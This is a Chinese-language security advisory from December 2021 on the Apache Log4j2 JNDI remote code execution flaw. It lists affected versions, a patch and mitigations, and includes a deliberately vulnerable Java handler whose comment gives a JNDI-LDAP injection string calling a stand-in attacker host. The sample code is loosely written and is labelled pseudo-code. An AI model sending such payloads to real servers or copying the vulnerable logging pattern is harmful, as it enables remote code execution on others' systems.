炸锅了!Apache Log4j2 核弹级漏洞公开

浏览数量: 541     作者: 本站编辑     发布时间: 2021-12-11      来源: 本站

昨晚,Apache Log4j2 的远程代码执行漏洞刷爆朋友圈,该漏洞一旦被攻击者利用会造成严重危害。而且此次漏洞影响巨大,很多网站如百度等都是此次 Log4j 远程代码执行漏洞的受害者,很多互联网企业也都连夜做了应急措施。


漏洞详情:


Apache Log4j 远程代码执行漏洞


严重程度: 严重


由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置


漏洞情况分析:


Apache Log4j是一个基于Java的日志记录组件。Apache Log4j2是Log4j的升级版本,通过重写Log4j引入了丰富的功能特性。该日志组件被广泛应用于业务系统开发,用以记录程序输入输出日志信息。


2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。


漏洞编号: 暂缺


漏洞等级:


高危,该漏洞影响范围极广,危害极大。


CVSS评分: 10(最高级)


漏洞状态:


受影响的版本:


Apache log4j2 2.0 - 2.14.1 版本均受影响。


安全版本:


Apache log4j-2.15.0-rc2


易受攻击代码示例:


import org.apache.log4j.Logger;

import java.io.*;

import java.sql.SQLException;

import java.util.*;

public class VulnerableLog4jExampleHandler implements HttpHandler {

static Logger log = Logger.getLogger(log4jExample.class.getName());

/**

* A simple HTTP endpoint that reads the request's User Agent and logs it back.

* This is basically pseudo-code to explain the vulnerability, and not a full example.

* @param he HTTP Request Object

*/

public void handle(HttpExchange he) throws IOException {

string userAgent = he.getRequestHeader("user-agent");


// This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.

// The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}

log.info("Request User Agent:" + userAgent);

String response = "


Hello There, " + userAgent + "!";

he.sendResponseHeaders(200, response.length());

OutputStream os = he.getResponseBody();

os.write(response.getBytes());

os.close();

}

}


漏洞修复方案:


Apache官方已发布补丁,建议受影响的用户尽快升级到安全版本。


补丁下载地址:


https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2


漏洞缓解措施:


(1)jvm参数 -Dlog4j2.formatMsgNoLookups=true


(2)log4j2.formatMsgNoLookups=True


因该组件使用极为广泛,利用门槛很低,危害极大,建议所有用户尽快升级到安全版本。


相关产品